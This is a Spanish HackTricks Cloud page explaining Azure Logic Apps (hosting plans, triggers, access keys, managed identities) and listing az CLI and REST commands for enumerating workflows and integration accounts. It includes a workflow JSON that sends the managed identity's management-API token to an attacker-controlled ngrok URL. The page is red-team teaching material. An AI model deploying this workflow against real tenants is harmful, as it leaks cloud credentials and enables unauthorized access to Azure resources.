Az - Logic Apps
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Información Básica
Azure Logic Apps permite a los desarrolladores crear y ejecutar flujos de trabajo que integran varios servicios, fuentes de datos y aplicaciones. Estos flujos de trabajo están diseñados para automatizar procesos empresariales, orquestar tareas y realizar integraciones de datos a través de diferentes plataformas.
Logic Apps proporciona un diseñador visual para crear flujos de trabajo con una amplia gama de conectores preconstruidos, lo que facilita la conexión e interacción con varios servicios:
.png)
Opciones de Alojamiento
Hay varias opciones de alojamiento:
- Consumo
- Multi-tenant: Esto proporciona recursos de computación compartidos, opera en la nube pública y sigue un modelo de precios por operación. Esto es ideal para cargas de trabajo ligeras y rentables. Esto es lo que llamaremos un “Flujo de Trabajo Único”.
- Estándar
- Plan de Servicio de Flujo de Trabajo: Esto proporciona recursos de computación dedicados con integración de VNET para redes y cobra por instancia de plan de servicio de flujo de trabajo. Es adecuado para cargas de trabajo más exigentes que requieren un mayor control.
- Entorno de Servicio de Aplicaciones V3: Esto proporciona recursos de computación dedicados con aislamiento completo y escalabilidad. También se integra con VNET para redes y utiliza un modelo de precios basado en instancias de Servicio de Aplicaciones dentro del entorno.
- Híbrido: Esto está diseñado para procesamiento local y soporte multi-nube. Permite recursos de computación gestionados por el cliente con acceso a la red local y utiliza Kubernetes Event-Driven Autoscaling (KEDA). Se basa en un Entorno Conectado de Aplicaciones de Contenedor.
Flujos de Trabajo “Únicos” / Plan de Consumo
Un flujo de trabajo es una secuencia estructurada de pasos o tareas automatizadas que ejecutan un proceso u objetivo específico. Define cómo interactúan diferentes acciones, condiciones y decisiones para lograr un resultado deseado, optimizando las operaciones y reduciendo el esfuerzo manual.
Tip
El plan de Consumo permite crear un flujo de trabajo único sin la necesidad de una Logic App en sí.
Disparadores y Acciones
Los disparadores de flujo de trabajo indican cuándo debe comenzar el flujo de trabajo. Los disparadores pueden ser un punto final HTTP, un horario o decenas de eventos diferentes de Azure o incluso aplicaciones externas.
Cada flujo de trabajo tiene diferentes acciones. Estas acciones son los pasos que sigue el flujo de trabajo. Dependiendo de la acción, diferentes parámetros estarán disponibles para configurarla, como:
- Nombre de conexión: Conexión a utilizar con la que interactuará la acción.
- Tipo de Autenticación: Las diferentes opciones son Clave de Acceso, Microsoft Entra ID, autenticación de principal de servicio integrado e Identidad Administrada de Logic Apps.
- Desde una perspectiva de Solo Lectura, los datos de Autenticación siempre son interesantes ya que podrían contener información sensible.
- Desde una perspectiva de Escritura, los datos de Autenticación siempre son interesantes ya que podrían permitir usar los permisos de las identidades administradas asignadas.
- …
Las acciones también tienen varias configuraciones, que dependen de la acción en sí. Algunas de las configuraciones más comunes son:
- Política de Reintento: Configura el número de reintentos y el intervalo entre ellos.
- Tiempo de Espera: Establece el tiempo máximo que puede ejecutarse la acción antes de que se agote el tiempo.
- Ejecutar Después: Especifica las condiciones que deben cumplirse antes de que se ejecute la acción.
- Validación de Esquema: Asegura que los datos entrantes sigan una estructura predefinida.
- Redes: Configura cómo gestionar diferentes encabezados.
- Entradas/Salidas Seguras: Esto ocultará los datos de entrada/salida del historial de ejecución.
- …
Políticas de Autorización
Estos flujos de trabajo admiten políticas de autorización con Entra ID para asegurar los disparadores basados en solicitudes al requerir un token de acceso válido. Este token debe incluir reclamos específicos:
- Emisor (iss) para verificar el proveedor de identidad
- Audiencia (aud) para asegurar que el token está destinado a la Logic App
- Sujeto (sub) para identificar al llamador
- ID de JWT (identificador de JSON Web Token)
- Reclamo Personalizado
Cuando se recibe una solicitud, Logic Apps valida el token contra estos reclamos y permite la ejecución solo si coinciden con la política configurada. Esto se puede usar para permitir que otro inquilino dispare el flujo de trabajo o denegar el disparo de otras fuentes, por ejemplo, permitiendo el disparo solo si proviene de https://login.microsoftonline.com/.
Claves de Acceso
Los flujos de trabajo generan 2 claves de acceso cuando se crean. Estas claves se utilizan para autenticar y autorizar solicitudes al flujo de trabajo. Las claves se utilizan para generar un token de Firma de Acceso Compartido (SAS), que se incluye en la URL de la solicitud.
Así, cuando se crea un disparador de punto final HTTP, se genera un punto final HTTP único con una firma SAS que otorga permiso para llamar al flujo de trabajo.
Estas claves pueden ser regeneradas y se creará una nueva URL SAS para estos disparadores, pero los valores de las claves no pueden ser accedidos.
Ejemplo de una URL SAS para invocar un disparador:
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
Configuración y Componentes del Flujo de Trabajo
- Opción de acceso al desencadenador: Esta configuración te permite restringir quién puede desencadenar o iniciar tu flujo de trabajo. Las opciones son Cualquier IP, Solo otro flujo de trabajo y Rangos de IP específicos.
- Cuenta de integración: Vincula tu flujo de trabajo a una Cuenta de Integración.
- Alto rendimiento: Si está activado, permite manejar más solicitudes en paralelo rápidamente.
- Retención del historial de ejecuciones: Esto indica el número de días para mantener el historial de ejecuciones.
- Conexiones API: Esto muestra las diferentes conexiones API que tiene el flujo de trabajo. Dentro de cada una de estas conexiones tienen diferentes propiedades y la posibilidad de editar la conexión API donde se puede cambiar el tipo de Autenticación.
- Historial: Tiene la opción de acceder al historial de ejecuciones antiguas y obtener datos: Configuraciones, Salida, Parámetros y el Código.
- Versiones: Tiene la opción de acceder a diferentes versiones del flujo de trabajo, donde puedes revisar el código y cambiar el flujo de trabajo presente por una versión anterior de este.
- Identidades Administradas: Es posible asignar 1 identidad administrada del sistema y una identidad administrada por el usuario al flujo de trabajo.
Filtrar tokens de acceso MI
La acción HTTP en un flujo de trabajo puede ser utilizada para enviar datos a una web externa. En los Parámetros avanzados de la acción HTTP, es posible configurar el Tipo de Autenticación como Identidad administrada y luego seleccionar la Identidad Administrada asignada para usar (sistema o usuario).
Además, es posible indicar en la Audiencia la audiencia del JWT generado, que podría ser por ejemplo https://management.azure.com/ para poder usar el token generado para acceder a la API de gestión de Azure.
Warning
Hacer que la acción envíe la solicitud HTTP a un servidor controlado por un atacante puede filtrar el token de acceso de la identidad administrada asignada al flujo de trabajo.
Tip
Un atacante también podría usar otro tipo de acciones para acceder directamente a otros servicios de Azure y realizar acciones con los permisos de la identidad administrada.
Este es el código de un flujo de trabajo que expone un endpoint HTTP y luego utiliza una acción HTTP para filtrar el token de acceso a la URL configurada (ngrok en este caso):
Código del flujo de trabajo
```json { "definition": { "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", "contentVersion": "1.0.0.0", "triggers": { "When_a_HTTP_request_is_received": { "type": "Request", "kind": "Http" } }, "actions": { "HTTP": { "runAfter": {}, "type": "Http", "inputs": { "uri": "https://22b6-81-33-70-107.ngrok-free.app", "method": "GET", "authentication": { "type": "ManagedServiceIdentity", "audience": "https://management.azure.com/" } }, "runtimeConfiguration": { "contentTransfer": { "transferMode": "Chunked" } } } }, "outputs": {}, "parameters": { "$connections": { "type": "Object", "defaultValue": {} } } }, "parameters": { "$connections": { "type": "Object", "value": {} } } } ```Logic Apps / Plan Estándar
Diferencias con los Flujos de Trabajo “Únicos”
Las logic apps utilizan básicamente un App Service en segundo plano para albergar la logic app que puede albergar varios flujos de trabajo. Esto significa que la logic app tendrá todas las características de un App Service y de los Flujos de Trabajo “Únicos”.
Algunas características clave serían:
- Plan de App Service: Las Logic Apps en el plan Estándar se alojan en un Plan de App Service, por lo que es posible utilizar todas las características del App Service, como:
- Restricciones de Red: Indicar desde dónde es accesible.
- Centro de Despliegue: Desplegar desde plataformas externas como Github, Bitbucket, Azure Repos, Git Externo y Git Local.
- Acceso FTP: Es posible acceder a los archivos de la Logic App a través de FTP.
- Cuenta de Almacenamiento: La aplicación de servicio utiliza una cuenta de almacenamiento para almacenar información.
- Variables de Entorno y Configuraciones de la App: Es posible configurar variables de entorno y configuraciones de la app (y encontrar información sensible como claves de acceso a la cuenta de almacenamiento).
- …
- Parámetros: Los parámetros te permiten gestionar valores que varían entre desarrollo, prueba y producción. Esto te permite diseñar flujos de trabajo primero y luego ajustar fácilmente las configuraciones específicas del entorno más tarde.
- Recursos Dedicados: Las Logic Apps en el plan Estándar tienen recursos dedicados.
- Múltiples Flujos de Trabajo: Permite crear múltiples flujos de trabajo.
Para más información sobre App Services, consulta:
Enumeración
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
Cuentas de Integración
Cuentas de Integración, son una característica de Azure Logic Apps. Las Cuentas de Integración se utilizan para facilitar integraciones a nivel empresarial al habilitar capacidades avanzadas de B2B, como EDI, AS2 y gestión de esquemas XML. Las Cuentas de Integración son un contenedor en Azure que almacena los siguientes artefactos utilizados para Logic Apps:
- Esquemas: Gestionar esquemas XML para validar y procesar mensajes en su cuenta de integración.
- Mapas: Configurar transformaciones basadas en XSLT para convertir formatos de datos dentro de sus flujos de trabajo de integración.
- Ensamblajes: Gestionar ensamblajes de la cuenta de integración para optimizar la lógica y el procesamiento de datos.
- Certificados: Manejar certificados para cifrar y firmar mensajes, asegurando una comunicación segura.
- Socios: Gestionar información de socios comerciales para transacciones B2B, permitiendo integraciones sin problemas.
- Acuerdos: Configurar reglas y ajustes para intercambiar datos con socios comerciales (por ejemplo, EDI, AS2).
- Configuraciones de Lote: Gestionar configuraciones de procesamiento por lotes para agrupar y procesar mensajes de manera eficiente.
- RosettaNet PIP: Configurar Procesos de Interfaz de Socios de RosettaNet (PIPs) para estandarizar la comunicación B2B.
Enumeración
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
Escalación de Privilegios
Lo mismo que la escalación de privilegios de las aplicaciones lógicas:
Post Explotación
Az - Logic Apps Post Exploitation
Persistencia
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

